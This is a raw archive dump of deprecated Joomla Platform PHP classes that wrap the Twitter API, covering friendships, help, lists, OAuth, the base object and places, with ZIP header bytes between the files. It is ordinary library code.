$data['screen_name'] = $screenName;
}
if ($id == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/friendships/lookup.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Allows one to enable or disable retweets and device notifications from
the specified user.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $device Enable/disable device notifications from
the target user.
* @param boolean $retweets Enable/disable retweets from the target
user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function updateFriendship($user, $device = null, $retweets = null)
{
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if device is specified.
if (!is_null($device))
{
$data['device'] = $device;
}
// Check if retweets is specified.
if (!is_null($retweets))
{
$data['retweets'] = $retweets;
}
// Set the API path
$path = '/friendships/update.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the user ids that currently authenticated user does not
want to see retweets from.
*
* @param boolean $stringIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getFriendshipNoRetweetIds($stringIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('friendships',
'no_retweets/ids');
$data = array();
// Check if string_ids is specified
if (!is_null($stringIds))
{
$data['stringify_ids'] = $stringIds;
}
// Set the API path
$path = '/friendships/no_retweets/ids.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
}
PKPn�[BD�]]twitter/help.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Help class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterHelp extends JTwitterObject
{
/**
* Method to get the supported languages from the API.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getLanguages()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('help', 'languages');
// Set the API path
$path = '/help/languages.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get the current configuration used by Twitter including
twitter.com slugs which are not usernames,
* maximum photo resolutions, and t.co URL lengths.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getConfiguration()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('help', 'configuration');
// Set the API path
$path = '/help/configuration.json';
// Send the request.
return $this->sendRequest($path);
}
}
PKRn�[���(m(mtwitter/lists.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Lists class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterLists extends JTwitterObject
{
/**
* Method to get all lists the authenticating or specified user subscribes
to, including their own.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the screen name.
* @param boolean $reverse Set this to true if you would like owned
lists to be returned first. See description
* above for information on how this parameter works.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getLists($user, $reverse = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'list');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if reverse is specified.
if (!is_null($reverse))
{
$data['reverse'] = $reverse;
}
// Set the API path
$path = '/lists/list.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get tweet timeline for members of the specified list
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) or equal to the specified ID.
* @param integer $count Specifies the number of results to
retrieve per "page."
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
variety
* of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $includeRts When set to either true, t or 1, the
list timeline will contain native retweets (if they exist) in addition
* to the standard stream of tweets.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getStatuses($list, $owner = null, $sinceId = 0, $maxId =
0, $count = 0, $entities = null, $includeRts = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'statuses');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/statuses.json';
// Check if since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified
if ($maxId > 0)
{
$data['max_id'] = $maxId;
}
// Check if count is specified
if ($count > 0)
{
$data['count'] = $count;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if include_rts is specified
if (!is_null($includeRts))
{
$data['include_rts'] = $includeRts;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the subscribers of the specified list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name.
* @param integer $cursor Breaks the results into pages. A single
page contains 20 lists. Provide a value of -1 to begin paging.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
variety
* of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getSubscribers($list, $owner = null, $cursor = null,
$entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'subscribers');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers.json';
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to remove multiple members from a list, by specifying a
comma-separated list of member ids or screen names.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param string $userId A comma separated list of user IDs, up to
100 are allowed in a single request.
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function deleteMembers($list, $userId = null, $screenName = null,
$owner = null)
{
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username for owner is
not in the correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if ($userId)
{
$data['user_id'] = $userId;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($userId == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/lists/members/destroy_all.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to subscribe the authenticated user to the specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function subscribe($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'subscribers/create');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username for owner is
not in the correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to check if the specified user is a member of the specified
list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name of the user to remove.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function isMember($list, $user, $owner = null, $entities = null,
$skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'members/show');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/members/show.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to check if the specified user is a subscriber of the specified
list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name of the user to remove.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function isSubscriber($list, $user, $owner = null, $entities =
null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'subscribers/show');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers/show.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to unsubscribe the authenticated user from the specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function unsubscribe($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'subscribers/destroy');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/subscribers/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to add multiple members to a list, by specifying a
comma-separated list of member ids or screen names.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param string $userId A comma separated list of user IDs, up to
100 are allowed in a single request.
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function addMembers($list, $userId = null, $screenName = null,
$owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists',
'members/create_all');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
if ($userId)
{
$data['user_id'] = $userId;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($userId == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/lists/members/create_all.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the members of the specified list.
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities". This node offers a
variety
* of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getMembers($list, $owner = null, $entities = null,
$skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'members');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/members.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getListById($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'show');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/show.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get a collection of the lists the specified user is
subscribed to, 20 lists per page by default. Does not include the
user's own lists.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the screen name.
* @param integer $count The amount of results to return per page.
Defaults to 20. Maximum of 1,000 when using cursors.
* @param integer $cursor Breaks the results into pages. Provide a
value of -1 to begin paging.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getSubscriptions($user, $count = 0, $cursor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'subscriptions');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if cursor is specified.
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Set the API path
$path = '/lists/subscriptions.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to update the specified list
*
* @param mixed $list Either an integer containing the list ID
or a string containing the list slug.
* @param mixed $owner Either an integer containing the user ID
or a string containing the screen name of the owner.
* @param string $name The name of the list.
* @param string $mode Whether your list is public or private.
Values can be public or private. If no mode is
* specified the list will be public.
* @param string $description The description to give the list.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function update($list, $owner = null, $name = null, $mode = null,
$description = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'update');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Check if name is specified.
if ($name)
{
$data['name'] = $name;
}
// Check if mode is specified.
if ($mode)
{
$data['mode'] = $mode;
}
// Check if description is specified.
if ($description)
{
$data['description'] = $description;
}
// Set the API path
$path = '/lists/update.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to create a new list for the authenticated user.
*
* @param string $name The name of the list.
* @param string $mode Whether your list is public or private.
Values can be public or private. If no mode is
* specified the list will be public.
* @param string $description The description to give the list.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function create($name, $mode = null, $description = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'create');
// Check if name is specified.
if ($name)
{
$data['name'] = $name;
}
// Check if mode is specified.
if ($mode)
{
$data['mode'] = $mode;
}
// Check if description is specified.
if ($description)
{
$data['description'] = $description;
}
// Set the API path
$path = '/lists/create.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to delete a specified list.
*
* @param mixed $list Either an integer containing the list ID or a
string containing the list slug.
* @param mixed $owner Either an integer containing the user ID or a
string containing the screen name of the owner.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function delete($list, $owner = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('lists', 'destroy');
// Determine which type of data was passed for $list
if (is_numeric($list))
{
$data['list_id'] = $list;
}
elseif (is_string($list))
{
$data['slug'] = $list;
// In this case the owner is required.
if (is_numeric($owner))
{
$data['owner_id'] = $owner;
}
elseif (is_string($owner))
{
$data['owner_screen_name'] = $owner;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username for owner is
not in the correct format; must use integer or string');
}
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified list is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/lists/destroy.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
PKRn�[9�%�n
n
twitter/oauth.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Twitter API access token.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterOAuth extends JOAuth1Client
{
/**
* @var Registry Options for the JTwitterOauth object.
* @since 3.1.4
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JTwitterOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object.
* @param JApplicationWeb $application The application object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null, JApplicationWeb $application = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->options->def('accessTokenURL',
'https://api.twitter.com/oauth/access_token');
$this->options->def('authenticateURL',
'https://api.twitter.com/oauth/authenticate');
$this->options->def('authoriseURL',
'https://api.twitter.com/oauth/authorize');
$this->options->def('requestTokenURL',
'https://api.twitter.com/oauth/request_token');
// Call the JOAuth1Client constructor to setup the object.
parent::__construct($this->options, $client, $input, $application);
}
/**
* Method to verify if the access token is valid by making a request.
*
* @return boolean Returns true if the access token is valid and false
otherwise.
*
* @since 3.1.4
*/
public function verifyCredentials()
{
$token = $this->getToken();
// Set the parameters.
$parameters = array('oauth_token' =>
$token['key']);
// Set the API base
$path =
'https://api.twitter.com/1.1/account/verify_credentials.json';
// Send the request.
$response = $this->oauthRequest($path, 'GET', $parameters);
// Verify response
if ($response->code == 200)
{
return true;
}
else
{
return false;
}
}
/**
* Ends the session of the authenticating user, returning a null cookie.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function endSession()
{
$token = $this->getToken();
// Set parameters.
$parameters = array('oauth_token' =>
$token['key']);
// Set the API base
$path = 'https://api.twitter.com/1.1/account/end_session.json';
// Send the request.
$response = $this->oauthRequest($path, 'POST', $parameters);
return json_decode($response->body);
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.1.4
* @throws DomainException
*/
public function validateResponse($url, $response)
{
if (strpos($url, 'verify_credentials') === false &&
$response->code != 200)
{
$error = json_decode($response->body);
if (property_exists($error, 'error'))
{
throw new DomainException($error->error);
}
else
{
$error = $error->errors;
throw new DomainException($error[0]->message, $error[0]->code);
}
}
}
}
PKRn�[,�bBBtwitter/object.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Twitter API object class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
abstract class JTwitterObject
{
/**
* @var Registry Options for the Twitter object.
* @since 3.1.4
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $client;
/**
* @var JTwitterOAuth The OAuth client.
* @since 3.1.4
*/
protected $oauth;
/**
* Constructor.
*
* @param Registry &$options Twitter options object.
* @param JHttp $client The HTTP client object.
* @param JTwitterOAuth $oauth The OAuth client.
*
* @since 3.1.4
*/
public function __construct(Registry &$options = null, JHttp $client =
null, JTwitterOAuth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Method to check the rate limit for the requesting IP address
*
* @param string $resource A resource or a comma-separated list of
resource families you want to know the current rate limit disposition for.
* @param string $action An action for the specified resource, if
only one resource is specified.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function checkRateLimit($resource = null, $action = null)
{
// Check the rate limit for remaining hits
$rate_limit = $this->getRateLimit($resource);
$property = '/' . $resource;
if (!is_null($action))
{
$property .= '/' . $action;
}
if ($rate_limit->resources->$resource->$property->remaining
== 0)
{
// The IP has exceeded the Twitter API rate limit
throw new RuntimeException('This server has exceed the Twitter API
rate limit for the given period. The limit will reset at '
. $rate_limit->resources->$resource->$property->reset
);
}
}
/**
* Method to build and return a full request URL for the request. This
method will
* add appropriate pagination details if necessary and also prepend the
API url
* to have a complete URL for the request.
*
* @param string $path URL to inflect
* @param array $parameters The parameters passed in the URL.
*
* @return string The request URL.
*
* @since 3.1.4
*/
public function fetchUrl($path, $parameters = null)
{
if ($parameters)
{
foreach ($parameters as $key => $value)
{
if (strpos($path, '?') === false)
{
$path .= '?' . $key . '=' . $value;
}
else
{
$path .= '&' . $key . '=' . $value;
}
}
}
// Get a new JUri object focusing the api url and given path.
if (strpos($path, 'http://search.twitter.com/search.json') ===
false)
{
$uri = new JUri($this->options->get('api.url') . $path);
}
else
{
$uri = new JUri($path);
}
return (string) $uri;
}
/**
* Method to retrieve the rate limit for the requesting IP address
*
* @param string $resource A resource or a comma-separated list of
resource families you want to know the current rate limit disposition for.
*
* @return array The JSON response decoded
*
* @since 3.1.4
*/
public function getRateLimit($resource)
{
// Build the request path.
$path = '/application/rate_limit_status.json';
if (!is_null($resource))
{
return $this->sendRequest($path, 'GET',
array('resources' => $resource));
}
return $this->sendRequest($path);
}
/**
* Method to send the request.
*
* @param string $path The path of the request to make
* @param string $method The request method.
* @param mixed $data Either an associative array or a string to
be sent with the post request.
* @param array $headers An array of name-value pairs to include in
the header of the request
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function sendRequest($path, $method = 'GET', $data =
array(), $headers = array())
{
// Get the access token.
$token = $this->oauth->getToken();
// Set parameters.
$parameters['oauth_token'] = $token['key'];
// Send the request.
$response = $this->oauth->oauthRequest($this->fetchUrl($path),
$method, $parameters, $data, $headers);
if (strpos($path, 'update_with_media') !== false)
{
// Check Media Rate Limit.
$response_headers = $response->headers;
if ($response_headers['x-mediaratelimit-remaining'] == 0)
{
// The IP has exceeded the Twitter API media rate limit
throw new RuntimeException('This server has exceed the Twitter API
media rate limit for the given period. The limit will reset in '
. $response_headers['x-mediaratelimit-reset'] .
'seconds.'
);
}
}
if (strpos($response->body, 'redirected') !== false)
{
return $response->headers['Location'];
}
return json_decode($response->body);
}
/**
* Get an option from the JTwitterObject instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JTwitterObject instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JTwitterObject This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKRn�[�ԯ�!�!twitter/places.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Places & Geo class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterPlaces extends JTwitterObject
{
/**
* Method to get all the information about a known place.
*
* @param string $id A place in the world. These IDs can be retrieved
using getGeocode.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getPlace($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'id/:place_id');
// Set the API path
$path = '/geo/id/' . $id . '.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get up to 20 places that can be used as a place_id when
updating a status.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $accuracy A hint on the "region" in
which to search. If a number, then this is a radius in meters,
